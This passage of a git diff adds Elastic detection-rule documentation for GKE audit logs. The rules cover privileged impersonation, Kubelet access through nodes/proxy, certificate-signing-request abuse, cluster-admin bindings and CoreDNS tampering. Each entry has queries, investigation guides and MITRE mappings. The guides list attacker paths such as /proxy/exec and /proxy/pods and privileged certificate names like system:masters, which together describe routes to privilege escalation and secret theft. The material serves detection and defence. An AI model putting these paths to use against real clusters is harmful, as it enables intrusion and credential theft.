Impersonating Privileged Identity* + + +Compare the real actor (`client.user.email`, `source.ip`, `user_agent.original`) with the impersonated identity in +`gcp.audit.authentication_info.authority_selector` (Cloud Audit `authenticationInfo.authoritySelector`). Confirm +whether impersonation is authorized for that principal and target identity. + + +*Possible investigation steps* + + +- Review `event.action` and `gcp.audit.resource_name` for the scope of the operation performed while impersonating. +- Determine whether the real user or service account should have `impersonate` rights against the target user or group; + inspect RBAC bindings and any recent changes. +- Correlate with adjacent audit activity (secrets, TokenRequest, RBAC writes, CSR approval) from the same source + identity. +- Hunt for repeated impersonation across namespaces or rapid pivoting after the event. + + +*False positive analysis* + + +- Approved admin or scanner workflows that intentionally use `kubectl --as` against privileged targets may match. + Allowlist those identities after review. + + +*Response and remediation* + + +- Revoke or tighten `impersonate` permissions for unexpected identities; rotate credentials for any account that may + have abused impersonation. +- If unauthorized, treat as cluster-wide credential risk: review secrets exposure, issued tokens, and RBAC drift. + + + +==== Setup + + +The GCP Fleet integration with GKE audit logs enabled is required. Kubernetes impersonation (`kubectl --as`) maps to +`gcp.audit.authentication_info.authority_selector` in Fleet. + + +==== Rule query + + +[source, js] +---------------------------------- +data_stream.dataset:gcp.audit and service.name:"k8s.io" and event.outcome:success and +gcp.audit.authentication_info.authority_selector:( + "admin" or "cluster-admin" or "kubernetes-admin" or "system:admin" or "system:anonymous" or + "system:apiserver" or "system:kube-controller-manager" or "system:kube-proxy" or + "system:kube-scheduler" or "system:volume-scheduler" or + system\:node\:* or system\:serviceaccount\:kube-system\:* +) and +not client.user.email:( + "system:kube-controller-manager" or + "system:kube-scheduler" or + system\:node\:* or + system\:serviceaccount\:kube-system\:* +) + +---------------------------------- + +*Framework*: MITRE ATT&CK^TM^ + +* Tactic: +** Name: Privilege Escalation +** ID: TA0004 +** Reference URL: https://attack.mitre.org/tactics/TA0004/ +* Technique: +** Name: Access Token Manipulation +** ID: T1134 +** Reference URL: https://attack.mitre.org/techniques/T1134/ +* Tactic: +** Name: Defense Evasion +** ID: TA0005 +** Reference URL: https://attack.mitre.org/tactics/TA0005/ +* Technique: +** Name: Access Token Manipulation +** ID: T1134 +** Reference URL: https://attack.mitre.org/techniques/T1134/ diff --git a/docs/detections/prebuilt-rules/downloadable-packages/8-19-28/prebuilt-rule-8-19-28-gke-api-server-proxying-request-to-kubelet.asciidoc b/docs/detections/prebuilt-rules/downloadable-packages/8-19-28/prebuilt-rule-8-19-28-gke-api-server-proxying-request-to-kubelet.asciidoc new file mode 100644 index 0000000000..bebc4e68f4 --- /dev/null +++ b/docs/detections/prebuilt-rules/downloadable-packages/8-19-28/prebuilt-rule-8-19-28-gke-api-server-proxying-request-to-kubelet.asciidoc @@ -0,0 +1,151 @@ +[[prebuilt-rule-8-19-28-gke-api-server-proxying-request-to-kubelet]] +=== GKE API Server Proxying Request to Kubelet + +Detects non-system identities using the GKE nodes/proxy API to reach a node's Kubelet through the API server. The nodes/proxy subresource allows any principal with this permission to call the Kubelet API without direct node network access or Kubelet TLS certificates. Through this path an attacker can list pod specs (including environment secrets), read Kubelet configuration, retrieve container logs, and access running pod metadata on the target node. Monitoring endpoints such as metrics, healthz, and stats/summary are excluded to reduce noise from observability tooling. + +*Rule type*: query + +*Rule indices*: + +* logs-gcp.audit-* + +*Severity*: medium + +*Risk score*: 47 + +*Runs every*: 5m + +*Searches indices from*: now-6m ({ref}/common-options.html#date-math[Date Math format], see also <>) + +*Maximum alerts per execution*: 100 + +*References*: + +* https://kubernetes.io/docs/concepts/cluster-administration/proxies/ +* https://stratus-red-team.cloud/attack-techniques/kubernetes/k8s.privilege-escalation.nodes-proxy/ + +*Tags*: + +* Domain: Cloud +* Domain: Kubernetes +* Data Source: GCP +* Data Source: Google Cloud Platform +* Use Case: Threat Detection +* Tactic: Privilege Escalation +* Tactic: Lateral Movement +* Tactic: Discovery +* Resources: Investigation Guide + +*Version*: 1 + +*Rule authors*: + +* Elastic + +*Rule license*: Elastic License v2 + + +==== Investigation guide + + + +*Triage and analysis* + + + +*Investigating GKE API Server Proxying Request to Kubelet* + + +Review `client.user.email`, `source.ip`, and `user_agent.original` to determine who initiated the proxy request. +Examine `gcp.audit.resource_name` and `event.action` to identify which Kubelet path was accessed after `/proxy/`. + + +*Possible investigation steps* + + +- Check the proxied Kubelet path for attacker intent: + - `/proxy/pods` — pod spec enumeration, including environment variable secrets + - `/proxy/exec` or `/proxy/run` — command execution inside containers on that node + - `/proxy/configz` — Kubelet configuration and authentication settings + - `/proxy/runningpods` — active workload enumeration + - `/proxy/containerLogs` — log harvesting for leaked credentials +- Identify how the principal obtained `nodes/proxy` permission by reviewing RBAC bindings. +- Correlate with TokenRequest activity from the same actor shortly before the proxy call. +- Review whether the same principal proxied multiple nodes in a short window. + + +*False positive analysis* + + +- Monitoring agents that scrape paths other than the excluded metrics/health endpoints may match. Add approved paths + or identities after baselining. +- Cluster admin tools that inspect node health via the proxy API can match during maintenance windows. + + +*Response and remediation* + + +- Review and remove unauthorized RBAC granting `nodes/proxy`. +- If `/proxy/pods` was accessed, rotate secrets and credentials that may have been exposed via environment variables + on that node. +- If `/proxy/exec` or `/proxy/run` was accessed, treat the node as compromised and isolate it. +- Restrict `nodes/proxy` to infrastructure automation only. + + + +==== Setup + + +The GCP Fleet integration with GKE audit logs enabled is required. + + +==== Rule query + + +[source, js] +---------------------------------- +data_stream.dataset:gcp.audit and service.name:"k8s.io" and event.outcome:success and +event.action:( + "io.k8s.core.v1.nodes.proxy.get" or + "io.k8s.core.v1.nodes.proxy.create" +) and +not gcp.audit.resource_name:(*metrics* or *healthz* or *stats/summary* or *elastic-agent* or *configz*) and +not client.user.email:( + "system:kube-controller-manager" or + "system:kube-scheduler" or + system\:serviceaccount\:kube-system\:* or + system\:node\:* +) + +---------------------------------- + +*Framework*: MITRE ATT&CK^TM^ + +* Tactic: +** Name: Privilege Escalation +** ID: TA0004 +** Reference URL: https://attack.mitre.org/tactics/TA0004/ +* Technique: +** Name: Escape to Host +** ID: T1611 +** Reference URL: https://attack.mitre.org/techniques/T1611/ +* Tactic: +** Name: Lateral Movement +** ID: TA0008 +** Reference URL: https://attack.mitre.org/tactics/TA0008/ +* Technique: +** Name: Use Alternate Authentication Material +** ID: T1550 +** Reference URL: https://attack.mitre.org/techniques/T1550/ +* Sub-technique: +** Name: Application Access Token +** ID: T1550.001 +** Reference URL: https://attack.mitre.org/techniques/T1550/001/ +* Tactic: +** Name: Discovery +** ID: TA0007 +** Reference URL: https://attack.mitre.org/tactics/TA0007/ +* Technique: +** Name: Container and Resource Discovery +** ID: T1613 +** Reference URL: https://attack.mitre.org/techniques/T1613/ diff --git a/docs/detections/prebuilt-rules/downloadable-packages/8-19-28/prebuilt-rule-8-19-28-gke-certificate-signing-request-api-client-signer-requested.asciidoc b/docs/detections/prebuilt-rules/downloadable-packages/8-19-28/prebuilt-rule-8-19-28-gke-certificate-signing-request-api-client-signer-requested.asciidoc new file mode 100644 index 0000000000..6a834f3c2c --- /dev/null +++ b/docs/detections/prebuilt-rules/downloadable-packages/8-19-28/prebuilt-rule-8-19-28-gke-certificate-signing-request-api-client-signer-requested.asciidoc @@ -0,0 +1,164 @@ +[[prebuilt-rule-8-19-28-gke-certificate-signing-request-api-client-signer-requested]] +=== GKE Certificate Signing Request API Client Signer Requested + +Detects creation of a GKE CertificateSigningRequest (CSR) that requests the kubernetes.io/kube-apiserver-client signer. This signer issues general API client certificates with few subject restrictions, unlike the restricted kubelet signers used for node certificate rotation. Attackers with CSR permissions use this signer to mint long-lived credentials for privileged identities such as system:kube-controller-manager, enabling persistence and privilege escalation that survives token revocation and RBAC changes. + +*Rule type*: query + +*Rule indices*: + +* logs-gcp.audit-* + +*Severity*: high + +*Risk score*: 73 + +*Runs every*: 5m + +*Searches indices from*: now-6m ({ref}/common-options.html#date-math[Date Math format], see also <>) + +*Maximum alerts per execution*: 100 + +*References*: + +* https://kubernetes.io/docs/reference/access-authn-authz/certificate-signing-requests/ +* https://kubernetes.io/docs/concepts/security/rbac-good-practices/ +* https://www.aquasec.com/blog/kubernetes-rbac-privilige-escalation/ +* https://stratus-red-team.cloud/attack-techniques/kubernetes/k8s.persistence.create-client-certificate/ + +*Tags*: + +* Domain: Cloud +* Domain: Kubernetes +* Data Source: GCP +* Data Source: GCP Audit Logs +* Data Source: Google Cloud Platform +* Use Case: Threat Detection +* Tactic: Persistence +* Tactic: Privilege Escalation +* Resources: Investigation Guide + +*Version*: 1 + +*Rule authors*: + +* Elastic + +*Rule license*: Elastic License v2 + + +==== Investigation guide + + + +*Triage and analysis* + + + +*Investigating GKE Certificate Signing Request API Client Signer Requested* + + +Identify the actor (`client.user.email`), `source.ip`, and `user_agent.original`. Legitimate GKE node certificate +rotation uses `kubernetes.io/kube-apiserver-client-kubelet` or `kubernetes.io/kubelet-serving` — not this signer. +Review `gcp.audit.request.spec.signerName` and decode `gcp.audit.request.spec.request` when present to extract the +requested Common Name (CN). + +```bash + +*Full decoded PEM block* + +echo "" | base64 -d + + +*Parsed CSR details (subject, key type/size, extensions, signature)* + +echo "" | base64 -d | openssl req -noout -text + + +*Subject only* + +echo "" | base64 -d | openssl req -noout -subject +``` + + +*Possible investigation steps* + + +- Confirm whether the principal is authorized to request API client certificates and whether the activity aligns with + approved PKI workflows. +- Decode `gcp.audit.request.spec.request` and inspect the CSR subject for privileged identities such as + `system:masters`, `system:kube-controller-manager`, or `system:admin`. +- Correlate with CSR approval or patch activity on the same `gcp.audit.resource_name` and follow-on API access from + unusual networks. +- Review RBAC grants on `certificatesigningrequests` create and `certificatesigningrequests/approval` for the actor. + + +*False positive analysis* + + +- Custom PKI or admin workflows may legitimately use this signer outside kube-system. Baseline and tune for known + operators. + + +*Related rules* + + +- GKE Certificate Signing Request Privileged Identity Requested - 4159bec9-76ad-4cdc-a797-4a8572073bbe +- GKE Certificate Signing Request Self-Approved - e155e658-3dcd-4d27-a4e5-1d8da6704b0e +- GKE Client Certificate Signing Request Created or Approved - ec67ab57-945a-4edb-84f8-1d7a51f46544 + + +*Response and remediation* + + +- Deny or delete suspicious CSRs, rotate cluster signing trust if abused, and remove excessive CSR RBAC from untrusted + identities. + + + +==== Setup + + +The GCP Fleet integration with GKE audit logs enabled is required. Request body capture for CSR create events (`gcp.audit.request.spec.signerName`) typically requires RequestResponse audit level on CertificateSigningRequest resources. + +==== Rule query + + +[source, js] +---------------------------------- +data_stream.dataset:"gcp.audit" and service.name:"k8s.io" and event.outcome:"success" and +event.action:"io.k8s.certificates.v1.certificatesigningrequests.create" and +gcp.audit.request.spec.signerName:"kubernetes.io/kube-apiserver-client" and +not client.user.email:( + "system:gcp-controller-manager" or + "system:serviceaccount:kube-system:certificate-controller" +) + +---------------------------------- + +*Framework*: MITRE ATT&CK^TM^ + +* Tactic: +** Name: Privilege Escalation +** ID: TA0004 +** Reference URL: https://attack.mitre.org/tactics/TA0004/ +* Technique: +** Name: Account Manipulation +** ID: T1098 +** Reference URL: https://attack.mitre.org/techniques/T1098/ +* Sub-technique: +** Name: Additional Container Cluster Roles +** ID: T1098.006 +** Reference URL: https://attack.mitre.org/techniques/T1098/006/ +* Tactic: +** Name: Persistence +** ID: TA0003 +** Reference URL: https://attack.mitre.org/tactics/TA0003/ +* Technique: +** Name: Account Manipulation +** ID: T1098 +** Reference URL: https://attack.mitre.org/techniques/T1098/ +* Sub-technique: +** Name: Additional Container Cluster Roles +** ID: T1098.006 +** Reference URL: https://attack.mitre.org/techniques/T1098/006/ diff --git a/docs/detections/prebuilt-rules/downloadable-packages/8-19-28/prebuilt-rule-8-19-28-gke-certificate-signing-request-self-approved.asciidoc b/docs/detections/prebuilt-rules/downloadable-packages/8-19-28/prebuilt-rule-8-19-28-gke-certificate-signing-request-self-approved.asciidoc new file mode 100644 index 0000000000..3309faf2bc --- /dev/null +++ b/docs/detections/prebuilt-rules/downloadable-packages/8-19-28/prebuilt-rule-8-19-28-gke-certificate-signing-request-self-approved.asciidoc @@ -0,0 +1,174 @@ +[[prebuilt-rule-8-19-28-gke-certificate-signing-request-self-approved]] +=== GKE Certificate Signing Request Self-Approved + +Detects when the same non-system GKE identity creates a CertificateSigningRequest (CSR) and then approves that same CSR within five minutes, consistent with self-approval abuse. Attackers who gain CSR create and approval RBAC can submit a certificate request and approve it themselves to obtain a long-lived client certificate without involving cluster operators, a pattern documented in Kubernetes persistence research and adversary emulation. + +*Rule type*: esql + +*Rule indices*: None + +*Severity*: high + +*Risk score*: 73 + +*Runs every*: 5m + +*Searches indices from*: now-11m ({ref}/common-options.html#date-math[Date Math format], see also <>) + +*Maximum alerts per execution*: 100 + +*References*: + +* https://kubernetes.io/docs/reference/access-authn-authz/certificate-signing-requests/ +* https://kubernetes.io/docs/concepts/security/rbac-good-practices/ +* https://stratus-red-team.cloud/attack-techniques/kubernetes/k8s.persistence.create-client-certificate/ +* https://raesene.github.io/blog/2022/12/21/Kubernetes-persistence-with-Tocan-and-Teisteanas/ +* https://www.aquasec.com/blog/kubernetes-rbac-privilige-escalation/ + +*Tags*: + +* Domain: Cloud +* Domain: Kubernetes +* Data Source: GCP +* Data Source: GCP Audit Logs +* Data Source: Google Cloud Platform +* Use Case: Threat Detection +* Tactic: Persistence +* Tactic: Privilege Escalation +* Resources: Investigation Guide + +*Version*: 1 + +*Rule authors*: + +* Elastic + +*Rule license*: Elastic License v2 + + +==== Investigation guide + + + +*Triage and analysis* + + + +*Investigating GKE Certificate Signing Request Self-Approved* + + +This rule groups CSR create and approval events by `client.user.email` and normalized CSR name (`Esql.csr_name`). +GKE logs approval on subresource paths (`.../csr-name/approval`), so the query strips `/approval` suffixes before +correlating. An alert means the same identity both submitted and approved the same CSR within five minutes, a strong +indicator of manual self-approval rather than normal `system:gcp-controller-manager` auto-approval of node +certificates. + + +*Possible investigation steps* + + +- Review `Esql.event_action_values` for the sequence of create followed by `approval.update`. +- Inspect `gcp.audit.request.spec.signerName` and decode `gcp.audit.request.spec.request` on create events for the + requested identity. +- Validate whether the actor should hold both CSR create and approval permissions. +- Hunt for subsequent API activity authenticated as the minted certificate identity. + + +*False positive analysis* + + +- cert-manager or internal PKI automation that creates and approves CSRs under the same service account in one workflow. +- GitOps or bootstrap tooling that submits and signs CSRs programmatically. Baseline known automation and tune exclusions + for those principals. +- Two unrelated CSR events from the same user within five minutes should not match because the query requires at least + one create and one approval-class action on the same normalized CSR name. + + +*Related rules* + + +- GKE Certificate Signing Request API Client Signer Requested - 1e344fba-a2f7-462b-aaec-d6c8f80d5a28 +- GKE Certificate Signing Request Privileged Identity Requested - 4159bec9-76ad-4cdc-a797-4a8572073bbe +- GKE Client Certificate Signing Request Created or Approved - ec67ab57-945a-4edb-84f8-1d7a51f46544 + + +*Response and remediation* + + +- Revoke or deny the CSR, remove approval RBAC from untrusted principals, and rotate cluster signing credentials if + abuse is confirmed. + + + +==== Setup + + +The GCP Fleet integration with GKE audit logs enabled is required to be compatible with this rule. + +==== Rule query + + +[source, js] +---------------------------------- +from logs-gcp.audit-* metadata _id, _index, _version +| where data_stream.dataset == "gcp.audit" + and service.name == "k8s.io" + and event.outcome == "success" + and event.action in ( + "io.k8s.certificates.v1.certificatesigningrequests.create", + "io.k8s.certificates.v1.certificatesigningrequests.approval.update" + ) + and client.user.email is not null + and gcp.audit.resource_name is not null + and not client.user.email in ( + "system:gcp-controller-manager", + "system:kube-controller-manager", + "system:serviceaccount:kube-system:certificate-controller", + "kubelet-bootstrap", + "kubelet-nodepool-bootstrap" + ) + and not client.user.email like "system:node:*" +| eval Esql.csr_name = replace(gcp.audit.resource_name, "/approval", "") +| stats + Esql.create_count = count(*) where event.action == "io.k8s.certificates.v1.certificatesigningrequests.create", + Esql.approval_count = count(*) where event.action == "io.k8s.certificates.v1.certificatesigningrequests.approval.update", + Esql.event_action_values = values(event.action), + Esql.timestamp_first_seen = min(@timestamp), + Esql.timestamp_last_seen = max(@timestamp), + Esql.source_ip_values = values(source.ip), + Esql.user_agent_original_values = values(user_agent.original), + Esql.data_stream_namespace_values = values(data_stream.namespace) + by client.user.email, Esql.csr_name +| where Esql.create_count >= 1 + and Esql.approval_count >= 1 + and date_diff("seconds", Esql.timestamp_first_seen, Esql.timestamp_last_seen) <= 300 +| keep client.user.email, Esql.* + +---------------------------------- + +*Framework*: MITRE ATT&CK^TM^ + +* Tactic: +** Name: Persistence +** ID: TA0003 +** Reference URL: https://attack.mitre.org/tactics/TA0003/ +* Technique: +** Name: Account Manipulation +** ID: T1098 +** Reference URL: https://attack.mitre.org/techniques/T1098/ +* Sub-technique: +** Name: Additional Container Cluster Roles +** ID: T1098.006 +** Reference URL: https://attack.mitre.org/techniques/T1098/006/ +* Tactic: +** Name: Privilege Escalation +** ID: TA0004 +** Reference URL: https://attack.mitre.org/tactics/TA0004/ +* Technique: +** Name: Account Manipulation +** ID: T1098 +** Reference URL: https://attack.mitre.org/techniques/T1098/ +* Sub-technique: +** Name: Additional Container Cluster Roles +** ID: T1098.006 +** Reference URL: https://attack.mitre.org/techniques/T1098/006/ diff --git a/docs/detections/prebuilt-rules/downloadable-packages/8-19-28/prebuilt-rule-8-19-28-gke-client-certificate-signing-request-created-or-approved.asciidoc b/docs/detections/prebuilt-rules/downloadable-packages/8-19-28/prebuilt-rule-8-19-28-gke-client-certificate-signing-request-created-or-approved.asciidoc new file mode 100644 index 0000000000..d139589f52 --- /dev/null +++ b/docs/detections/prebuilt-rules/downloadable-packages/8-19-28/prebuilt-rule-8-19-28-gke-client-certificate-signing-request-created-or-approved.asciidoc @@ -0,0 +1,190 @@ +[[prebuilt-rule-8-19-28-gke-client-certificate-signing-request-created-or-approved]] +=== GKE Client Certificate Signing Request Created or Approved + +Detects creation or approval of a GKE CertificateSigningRequest (CSR) by a non-system identity. This is a breadth baseline rule for human or custom automation CSR activity on GKE. Attackers with cluster access can submit and approve CSRs to obtain long-lived client certificates that survive token revocation and RBAC changes. Use companion rules to evaluate signer choice, requested identity, and self-approval behavior. + +*Rule type*: query + +*Rule indices*: + +* logs-gcp.audit-* + +*Severity*: medium + +*Risk score*: 47 + +*Runs every*: 5m + +*Searches indices from*: now-6m ({ref}/common-options.html#date-math[Date Math format], see also <>) + +*Maximum alerts per execution*: 100 + +*References*: + +* https://kubernetes.io/docs/reference/access-authn-authz/certificate-signing-requests/ +* https://kubernetes.io/docs/concepts/security/rbac-good-practices/ +* https://stratus-red-team.cloud/attack-techniques/kubernetes/k8s.persistence.create-client-certificate/ +* https://raesene.github.io/blog/2022/12/21/Kubernetes-persistence-with-Tocan-and-Teisteanas/ +* https://www.aquasec.com/blog/kubernetes-rbac-privilige-escalation/ + +*Tags*: + +* Domain: Cloud +* Domain: Kubernetes +* Data Source: GCP +* Data Source: GCP Audit Logs +* Data Source: Google Cloud Platform +* Use Case: Threat Detection +* Tactic: Persistence +* Tactic: Privilege Escalation +* Resources: Investigation Guide + +*Version*: 1 + +*Rule authors*: + +* Elastic + +*Rule license*: Elastic License v2 + + +==== Investigation guide + + + +*Triage and analysis* + + + +*Investigating GKE Client Certificate Signing Request Created or Approved* + + +Identify the actor (`client.user.email`), `source.ip`, and `user_agent.original`. Confirm whether the principal is +expected to create or approve CSRs. Review `event.action`, `gcp.audit.resource_name`, and when audit level captures +request bodies, the CSR spec in `gcp.audit.request` (requested signer, usages, and requested identity / Common Name). + + +*Extracting the Certificate Common Name* + + +For create events, `gcp.audit.request.spec.request` may hold the base64-encoded PEM certificate signing request. +On GKE this is base64 of the full PEM CSR. Decode and inspect the subject for high-risk Common Names such as +`system:masters`, `system:kube-controller-manager`, and `system:admin`. The companion rule "GKE Certificate Signing +Request Privileged Identity Requested" decodes the CSR body and matches those identities automatically. + +```bash + +*Full decoded PEM block* + +echo "" | base64 -d + + +*Parsed CSR details (subject, key type/size, extensions, signature)* + +echo "" | base64 -d | openssl req -noout -text + + +*Subject only* + +echo "" | base64 -d | openssl req -noout -subject +``` + +Priority CNs that usually indicate privilege escalation intent: + +- `system:masters` (cluster-admin group) +- `system:kube-controller-manager` (broad control-plane-style access, including secrets and token minting) +- `system:kube-scheduler` (scheduling across the cluster) +- `system:kube-proxy` (node/network-adjacent access) +- Any CN that matches an existing ClusterRoleBinding subject name + + +*Possible investigation steps* + + +- Compare the CSR name and extracted CN against approved PKI or bootstrap processes. +- Determine whether the same identity both created and approved the CSR in a short window (`approval.update`, `update`, + or `patch`), which matches self-approval abuse. +- Review `gcp.audit.resource_name` and subsequent authentication or API activity from unusual networks. +- Correlate with RBAC changes, secret access, or TokenRequest activity that preceded CSR activity. + + +*False positive analysis* + + +- Admins testing CSR workflows with kubectl are common in lab clusters. Baseline expected operators and tune exclusions. +- cert-manager or custom PKI automation outside the exclusion list may create or approve CSRs during normal rotation. + + +*Related rules* + + +- GKE Certificate Signing Request API Client Signer Requested - 1e344fba-a2f7-462b-aaec-d6c8f80d5a28 +- GKE Certificate Signing Request Privileged Identity Requested - 4159bec9-76ad-4cdc-a797-4a8572073bbe +- GKE Certificate Signing Request Self-Approved - e155e658-3dcd-4d27-a4e5-1d8da6704b0e + + +*Response and remediation* + + +- If malicious, deny further approval, delete or deny the CSR per incident policy, revoke or rotate cluster signing + trust if the CA or signer was abused, and invalidate issued credentials. +- Remove excessive RBAC that allows `certificatesigningrequests` create/update/patch or approval for untrusted + identities; enforce signer restrictions and approved issuers where supported. + + + +==== Setup + + +The GCP Fleet integration with GKE audit logs enabled is required to be compatible with this rule. + +==== Rule query + + +[source, js] +---------------------------------- +data_stream.dataset:"gcp.audit" and service.name:"k8s.io" and event.outcome:"success" and +event.action:( + "io.k8s.certificates.v1.certificatesigningrequests.create" or + "io.k8s.certificates.v1.certificatesigningrequests.approval.update" +) and not client.user.email:( + "system:gcp-controller-manager" or + "system:kube-controller-manager" or + "system:serviceaccount:kube-system:certificate-controller" +) and not ( + event.action:"io.k8s.certificates.v1.certificatesigningrequests.create" and + client.user.email:( + "kubelet-bootstrap" or + "kubelet-nodepool-bootstrap" or + system\:node\:* + ) +) + +---------------------------------- + +*Framework*: MITRE ATT&CK^TM^ + +* Tactic: +** Name: Persistence +** ID: TA0003 +** Reference URL: https://attack.mitre.org/tactics/TA0003/ +* Technique: +** Name: Account Manipulation +** ID: T1098 +** Reference URL: https://attack.mitre.org/techniques/T1098/ +* Sub-technique: +** Name: Additional Container Cluster Roles +** ID: T1098.006 +** Reference URL: https://attack.mitre.org/techniques/T1098/006/ +* Tactic: +** Name: Privilege Escalation +** ID: TA0004 +** Reference URL: https://attack.mitre.org/tactics/TA0004/ +* Technique: +** Name: Account Manipulation +** ID: T1098 +** Reference URL: https://attack.mitre.org/techniques/T1098/ +* Sub-technique: +** Name: Additional Container Cluster Roles +** ID: T1098.006 +** Reference URL: https://attack.mitre.org/techniques/T1098/006/ diff --git a/docs/detections/prebuilt-rules/downloadable-packages/8-19-28/prebuilt-rule-8-19-28-gke-cluster-admin-role-binding-created-or-modified.asciidoc b/docs/detections/prebuilt-rules/downloadable-packages/8-19-28/prebuilt-rule-8-19-28-gke-cluster-admin-role-binding-created-or-modified.asciidoc new file mode 100644 index 0000000000..0ae0c8522b --- /dev/null +++ b/docs/detections/prebuilt-rules/downloadable-packages/8-19-28/prebuilt-rule-8-19-28-gke-cluster-admin-role-binding-created-or-modified.asciidoc @@ -0,0 +1,121 @@ +[[prebuilt-rule-8-19-28-gke-cluster-admin-role-binding-created-or-modified]] +=== GKE Cluster-Admin Role Binding Created or Modified + +Detects creation or modification of a GKE ClusterRoleBinding that grants the cluster-admin ClusterRole, providing unrestricted cluster access and enabling rapid privilege escalation or persistence. + +*Rule type*: query + +*Rule indices*: + +* logs-gcp.audit-* + +*Severity*: medium + +*Risk score*: 47 + +*Runs every*: 5m + +*Searches indices from*: None ({ref}/common-options.html#date-math[Date Math format], see also <>) + +*Maximum alerts per execution*: 100 + +*References*: + +* https://cloud.google.com/kubernetes-engine/docs/how-to/role-based-access-control +* https://heilancoos.github.io/research/2025/12/16/kubernetes.html#overly-permissive-role-based-access-control + +*Tags*: + +* Domain: Cloud +* Domain: Kubernetes +* Data Source: GCP +* Data Source: Google Cloud Platform +* Use Case: Threat Detection +* Tactic: Persistence +* Tactic: Privilege Escalation +* Resources: Investigation Guide + +*Version*: 2 + +*Rule authors*: + +* Elastic + +*Rule license*: Elastic License v2 + + +==== Investigation guide + + + +*Triage and analysis* + + + +*Investigating GKE Cluster-Admin Role Binding Created or Modified* + + +Identify who created or changed the binding and which subject received cluster-admin. + + +*Investigation steps* + + +- Review `client.user.email`, `source.ip`, and `gcp.audit.request` for the bound subject. +- Hunt for secret reads, privileged pod creation, or webhook changes from the same actor or new subject. + + +*False positives* + + +- Bootstrap and recovery may recreate cluster-admin bindings via `system:apiserver` during control plane reconciliation (excluded). + + + +==== Setup + + +The GCP Fleet integration with GKE audit logs enabled is required to be compatible with this rule. + +==== Rule query + + +[source, js] +---------------------------------- +data_stream.dataset:gcp.audit and service.name:"k8s.io" and event.outcome:success and +event.action:( + "io.k8s.authorization.rbac.v1.clusterrolebindings.create" or + "io.k8s.authorization.rbac.v1.clusterrolebindings.patch" or + "io.k8s.authorization.rbac.v1.clusterrolebindings.update" +) and gcp.audit.request.kind:"ClusterRoleBinding" and +gcp.audit.resource_name:"rbac.authorization.k8s.io/v1/clusterrolebindings/cluster-admin" and +not client.user.email:"system:apiserver" + +---------------------------------- + +*Framework*: MITRE ATT&CK^TM^ + +* Tactic: +** Name: Persistence +** ID: TA0003 +** Reference URL: https://attack.mitre.org/tactics/TA0003/ +* Technique: +** Name: Account Manipulation +** ID: T1098 +** Reference URL: https://attack.mitre.org/techniques/T1098/ +* Sub-technique: +** Name: Additional Container Cluster Roles +** ID: T1098.006 +** Reference URL: https://attack.mitre.org/techniques/T1098/006/ +* Tactic: +** Name: Privilege Escalation +** ID: TA0004 +** Reference URL: https://attack.mitre.org/tactics/TA0004/ +* Technique: +** Name: Account Manipulation +** ID: T1098 +** Reference URL: https://attack.mitre.org/techniques/T1098/ +* Sub-technique: +** Name: Additional Container Cluster Roles +** ID: T1098.006 +** Reference URL: https://attack.mitre.org/techniques/T1098/006/ diff --git a/docs/detections/prebuilt-rules/downloadable-packages/8-19-28/prebuilt-rule-8-19-28-gke-coredns-or-kube-dns-configuration-modified.asciidoc b/docs/detections/prebuilt-rules/downloadable-packages/8-19-28/prebuilt-rule-8-19-28-gke-coredns-or-kube-dns-configuration-modified.asciidoc new file mode 100644 index 0000000000..8505d2737f --- /dev/null +++ b/docs/detections/prebuilt-rules/downloadable-packages/8-19-28/prebuilt-rule-8-19-28-gke-coredns-or-kube-dns-configuration-modified.asciidoc @@ -0,0 +1,112 @@ +[[prebuilt-rule-8-19-28-gke-coredns-or-kube-dns-configuration-modified]] +=== GKE CoreDNS or Kube-DNS Configuration Modified + +Detects modifications to the CoreDNS or kube-dns ConfigMap in the kube-system namespace on GKE. These ConfigMaps control cluster DNS resolution for all pods. An attacker who modifies the CoreDNS Corefile can redirect internal service DNS names to attacker-controlled IP addresses, enabling man-in-the-middle attacks against the Kubernetes API server, database services, and other internal endpoints. Pods that resolve service names via cluster DNS will transparently connect to the attacker instead of the legitimate service, allowing interception of service account tokens, database credentials, and API traffic. DNS poisoning at the cluster level is particularly dangerous because it affects every pod in every namespace simultaneously and does not require any modification to the victim workloads. CoreDNS configuration changes are rare in normal operations and any unexpected modification should be investigated immediately. + +*Rule type*: query + +*Rule indices*: + +* logs-gcp.audit-* + +*Severity*: high + +*Risk score*: 73 + +*Runs every*: 5m + +*Searches indices from*: now-6m ({ref}/common-options.html#date-math[Date Math format], see also <>) + +*Maximum alerts per execution*: 100 + +*References*: + +* https://kubernetes.io/docs/tasks/administer-cluster/dns-custom-nameservers/ +* https://coredns.io/plugins/rewrite/ + +*Tags*: + +* Domain: Cloud +* Domain: Kubernetes +* Data Source: GCP +* Data Source: Google Cloud Platform +* Use Case: Threat Detection +* Tactic: Impact +* Resources: Investigation Guide + +*Version*: 1 + +*Rule authors*: + +* Elastic + +*Rule license*: Elastic License v2 + + +==== Investigation guide + + + +*Triage and analysis* + + + +*Investigating GKE CoreDNS or Kube-DNS Configuration Modified* + + +Identify who performed the change (user.email, groups), from where (source.ip), and which ConfigMap was modified. +If request/response capture is available, review the changed Corefile content for upstream redirection, wildcard +rewrites, or unexpected forward/proxy targets. + + +*Possible investigation steps* + + +- Confirm the actor is authorized to modify kube-system DNS configuration and whether the change aligns with a change window. +- Review the ConfigMap diff for added rewrite rules, hosts entries, or forwarding to external or unexpected internal IPs. +- Correlate with follow-on suspicious activity such as secret reads, token minting, or RBAC modifications. +- Check for cluster-wide symptoms: service connection failures, TLS errors, or sudden endpoint changes across namespaces. + + +*Response and remediation* + + +- Revert the ConfigMap to a known-good version and restart DNS pods if required by your deployment. +- Restrict RBAC permissions that allow update/patch/delete on kube-system DNS ConfigMaps and investigate the source identity. + +==== Setup + + +The GCP Fleet integration with GKE audit logs enabled is required to be compatible with this rule. + +==== Rule query + + +[source, js] +---------------------------------- +data_stream.dataset:gcp.audit and service.name:"k8s.io" and event.outcome:success and +event.action:("io.k8s.core.v1.configmaps.update" or "io.k8s.core.v1.configmaps.patch" or "io.k8s.core.v1.configmaps.delete") and +orchestrator.resource.name:("coredns" or "kube-dns" or "coredns-custom") and orchestrator.namespace:"kube-system" and +gcp.audit.labels.authorization.k8s.io/decision:"allow" and +not user.email:( + "system:serviceaccount:kube-system:coredns" or + "system:serviceaccount:kube-system:kube-dns" or + system\:node* or system\:serviceaccount\:kube-system* +) + +---------------------------------- + +*Framework*: MITRE ATT&CK^TM^ + +* Tactic: +** Name: Impact +** ID: TA0040 +** Reference URL: https://attack.mitre.org/tactics/TA0040/ +* Technique: +** Name: Data Manipulation +** ID: T1565 